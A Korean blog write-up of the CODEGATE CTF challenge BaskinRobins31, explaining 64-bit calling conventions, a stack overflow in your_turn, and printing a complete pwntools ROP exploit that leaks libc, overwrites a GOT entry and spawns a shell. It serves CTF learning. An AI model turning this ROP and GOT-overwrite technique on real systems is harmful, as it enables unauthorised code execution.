Self-Improvement

[CODEGATE] BaskinRobins31 (64bit) 풀이 및 Pwntools (첫 64bit Pwn) 본문

리버싱 기초/CODEGATE

[CODEGATE] BaskinRobins31 (64bit) 풀이 및 Pwntools (첫 64bit Pwn)

JoGeun 2020. 6. 16. 10:24

BaskinRobins31
0.01MB

32bit는 cdecl, 64bit는 fastcall
cdecl은 스택으로 인자를 전달 
fastcall은 레지스터로 인자를 전달
(6개의 인자(RDI, RSI, RDX, RCX, R8, R9)는 레지스터로, 그 외의 인자는 스택)

 

FILE

64bit, dynamically linked, not stripped

 

적용된 보호기법

NX, ASLR

 

IDA

Main에서는 크게 봐야할 부분은 my_turn과 your_turn 함수밖에 없는 것 같다.

 

your_turn

buf의 크기는 176바이트이지만 read()함수에서 400바이트를 입력 받아 bof가 발생하여 여기서 ROP를 수행하면 될 것 같다.

64bit 임으로 buf(176)+SFP(8)=ret까지 접근할 수 있다.

 

ROP를 위한 가젯 구하기

ELF 64bit에서는 RDI, RSI, RDX, RCX 순으로 파라미터를 받고 있음으로 이거에 맞춰서 구해줘야 한다.

p3r=0x40087a

 

Pwntools

64bit에서는 ROP를 수행할 때도 payload에서 약간 차이가 있다.

파라미터가 레지스터로 전달되기 때문에 우선 가젯으로 레지스터에 파라미터를 전달하여야 한다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
 
context.log_level='debug'
 
e=ELF("./BaskinRobins31")
p=process(e.path)
 
p.recvuntil("take ? (1-3)")
 
p3r=0x40087a
bss=e.bss()
offset=0xa5d10
read_plt=e.plt["read"]
read_got=e.got["read"]
write_plt=e.plt["write"]
write_got=e.got["write"]
binsh="/bin/sh\x00"
 
payload="A"*184
 
payload+=p64(p3r)
payload+=p64(1)
payload+=p64(read_got)
payload+=p64(8)
payload+=p64(write_plt)
 
payload+=p64(p3r)
payload+=p64(0)
payload+=p64(bss)
payload+=p64(len(binsh)+2)
payload+=p64(read_plt)
 
payload+=p64(p3r)
payload+=p64(0)
payload+=p64(write_got)
payload+=p64(8)
payload+=p64(read_plt)
 
payload+=p64(p3r)
payload+=p64(bss)
payload+=p64(0)
payload+=p64(0)
payload+=p64(write_plt)
 
p.send(payload)
p.recvuntil(':( \n')
 
read_address=u64(p.read(8))
print hexdump(p64(read_address))
system_address=read_address-offset
 
p.send(binsh)
p.send(p64(system_address))
 
p.interactive()
cs

 

실행

 

문제는 간단하고 쉬웠지만 처음으로 64bit에 대해서 공부하게 된 것 같다.